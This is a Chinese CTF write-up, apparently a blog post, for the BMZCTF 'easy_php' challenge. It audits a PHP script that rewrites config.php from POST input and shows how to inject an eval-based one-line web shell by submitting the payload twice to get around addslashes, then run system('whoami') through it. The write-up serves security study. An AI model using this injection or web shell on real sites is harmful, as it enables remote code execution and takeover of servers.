IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 开发测试 -> 2.BMZCTF-[easy_php]-[本地复现]-[简单的代码审计] -> 正文阅读

[开发测试]2.BMZCTF-[easy_php]-[本地复现]-[简单的代码审计]

BMZCTF-easy_php

BMZCTF-[easy_php]-[本地复现]-[简单的代码审计]

1.题目描述

<?php
highlight_file(__FILE__);
error_reporting(0);

function new_addslashes($string) {
     if(!is_array($string)) return addslashes($string);
     foreach($string as $key => $val) $string[$key] = new_addslashes($val);
     return $string;
 }
if(!get_magic_quotes_gpc()) {
    $_POST = new_addslashes($_POST);
    $_GET = new_addslashes($_GET);
    $_REQUEST = new_addslashes($_REQUEST);
    $_COOKIE = new_addslashes($_COOKIE);
}
if(isset($_POST['sudo'])) {
    $file = __DIR__ .'/config.php';
    require $file;
    $key = $_POST['info']['name'];
    if(!isset($LANG[$key])) {
        $content = file_get_contents($file);
        $content = substr($content,0,-3);
        $data = $content."\n\$LANG['$key'] = '$_POST[no1]';\n?>";
        file_put_contents($file,$data);
    } elseif(isset($LANG[$key]) && $LANG[$key]!=$_POST['no1']) {
        $content = file_get_contents($file);
        $content = str_replace($LANG[$key],$_POST['no1'],$content);
        file_put_contents($file,$content);
    }
}
if(isset($_GET['re'])){
  file_put_contents("./config.php",base64_decode("PD9waHAKJExBTkdbJ21lbWJlcl9tYW5hZ2UnXSA9ICdhZG1pbic7Cj8+Cg=="));
}

2.代码审计

讲在前面:

1.addslashes($string):对字符串参数中的预定义字符进行转义,并返回转义后的字符串

2.__DIR__:取出当前脚本执行的物理路径

3.题目源码中的base64编码【PD9waHAKJExBTkdbJ21lbWJlcl9tYW5hZ2UnXSA9ICdhZG1pbic7Cj8+Cg==】解码后:
<?php
$LANG['member_manage'] = 'admin';
?>

4.file_get_contents — 将整个文件读入一个字符串

5.file_put_contents — 将一个字符串写入文件

通读代码:

<?php
highlight_file(__FILE__);		// 高亮显示当前页面源码
error_reporting(0);				// 关闭所有的错误报告

function new_addslashes($string) {	// 对string参数中的预定义字符进行转义
     if(!is_array($string)) return addslashes($string);
     foreach($string as $key => $val) $string[$key] = new_addslashes($val);
     return $string;				// 返回转义后的字符串
 }
if(!get_magic_quotes_gpc()) {		// 若没有开启魔术字,我们就让用自定义的new_addsalshes()函数进行转义
    $_POST = new_addslashes($_POST);
    $_GET = new_addslashes($_GET);
    $_REQUEST = new_addslashes($_REQUEST);
    $_COOKIE = new_addslashes($_COOKIE);
}
if(isset($_POST['sudo'])) {				// 判断是否以POST形式提交了sudo参数,且值是否为NULL
    $file = __DIR__ .'/config.php';		// 若提交且参数不为NULL,则给变量file赋值为当前目录下的config.php
    require $file;						// 文件包含config.php
    $key = $_POST['info']['name'];		// POST姿势:info[name]=test,或者info[name]=test[123]=test
    if(!isset($LANG[$key])) {					// 判断是否有$LANG[$key]【很明显只要我们把key传入为member_manage即可,绕过这个if语句】
        $content = file_get_contents($file);	// 读取file文件内容为字符串
        $content = substr($content,0,-3);		// 从左边第一个截取到右边倒数第4个
        $data = $content."\n\$LANG['$key'] = '$_POST[no1]';\n?>";
        file_put_contents($file,$data);
    } elseif(isset($LANG[$key]) && $LANG[$key]!=$_POST['no1']) {	// POST:info[name]=member_manage&no1=test
        $content = file_get_contents($file);						// 读取字符串
        $content = str_replace($LANG[$key],$_POST['no1'],$content);	// 把no1键的值替换为key键的值
        file_put_contents($file,$content);							// 把no1键的值,读入了config.php
    }
}
if(isset($_GET['re'])){		// 没什么用
    file_put_contents("./config.php",base64_decode("PD9waHAKJExBTkdbJ21lbWJlcl9tYW5hZ2UnXSA9ICdhZG1pbic7Cj8+Cg=="));
} 


  • 解释:【很明显只要我们把key传入为member_manage即可,绕过这个if语句】
    • 因为文件包含了config.php页面,该页面中有一条语句【 L A N G [ ′ m e m b e r m a n a g e ′ ] = ′ a d m i n ′ ; 】 , 所 以 我 们 只 要 把 k e y 传 入 的 值 是 m e m b e r m a n a g e , 则 就 可 以 绕 过 ! i s s e t ( LANG['member_manage'] = 'admin';】,所以我们只要把key传入的值是member_manage,则就可以绕过!isset( LANG[memberm?anage]=admin;keymemberm?anage!isset(LANG[$key])了

3.解题过程

第一步:关键代码分析

elseif(isset($LANG[$key]) && $LANG[$key]!=$_POST['no1']) {			// POST:info[name]=member_manage&no1=test
        $content = file_get_contents($file);						// 读取字符串
        $content = str_replace($LANG[$key],$_POST['no1'],$content);	// 把no1键的值替换为key键的值
        file_put_contents($file,$content);							// 把no1键的值,读入了config.php
    }

第二步:根据以上步骤构造payload

payload1:GET传入以下内容,生成config.php页面的内容

http://www.exploit.cool/exp/ctf/BMZCTF/?re

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-IwXXUdDy-1641026133472)(D:\☆学习\share\01代码审计[从入门到放弃]\ctf代码审计笔记\images\01.png)]

payload2:通过no1写入一句话木马,执行两次

第一次提交:

GET内容:

http://www.exploit.cool/exp/ctf/BMZCTF/

POST内容:

sudo=1
&info[name]=member_manage
&no1='?><?php eval($_POST[0])//

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qmVEXDui-1641026133473)(D:\☆学习\share\01代码审计[从入门到放弃]\ctf代码审计笔记\images\02.png)]

第二次提交:

为什么二次提交:

第一次提交:$content = str_replace($LANG[$key],$_POST['no1'],$content);
其中$LANG[$key] = "admin"
其中$_POST['no1'] = "\'?><?php eval($_POST[0])//"
其中$content = "<?php\n$LANG['member_manage'] = 'admin';\n?>"
因此$content结果是:<?php\n$LANG['member_manage'] = '\'?><?php eval($_POST[0])//';\n?>

第二次提交:str_replace($LANG[$key],$_POST['no1'],$content);
其中$LANG[$key] = "'?><?php eval($_POST[0])//"
其中$_POST['no1'] = "\'?><?php eval($_POST[0])//"
其中$content = <?php\n$LANG['member_manage'] = '\'?><?php eval($_POST[0])//';\n?>
因此$content结果是:<?php\n$LANG['member_manage'] = '\\'?><?php eval($_POST[0])//';\n?>
//注意:这里的关键问题是,$LANG[$key]在取值的时候,不会取出转义符,所以此时的$LONG[$key]的值还是跟我们之前传入的一样,也就是'?><?php eval($_POST[0])//

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Q7zMJr98-1641026133473)(D:\☆学习\share\01代码审计[从入门到放弃]\ctf代码审计笔记\images\03.png)]

payload3:利用一句话木马

GET:

http://www.exploit.cool/exp/ctf/BMZCTF/config.php

POST:

0=system('whoami');

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-noFOINEH-1641026133474)(D:\☆学习\share\01代码审计[从入门到放弃]\ctf代码审计笔记\images\04.png)]

4.总结

注意:取值的时候不会取出转义字符/,所以是如下所示的取值结果

第一次取出$LANG[$key]的值为: amdin
第一次取出$LANG[$key]的值为: '?><?php eval($_POST[0])//
  开发测试 最新文章
pytest系列——allure之生成测试报告(Wind
某大厂软件测试岗一面笔试题+二面问答题面试
iperf 学习笔记
关于Python中使用selenium八大定位方法
【软件测试】为什么提升不了?8年测试总结再
软件测试复习
PHP笔记-Smarty模板引擎的使用
C++Test使用入门
【Java】单元测试
Net core 3.x 获取客户端地址
上一篇文章      下一篇文章      查看所有文章
加:2022-01-03 16:25:01  更:2022-01-03 16:25:33 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/18 4:36:44-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码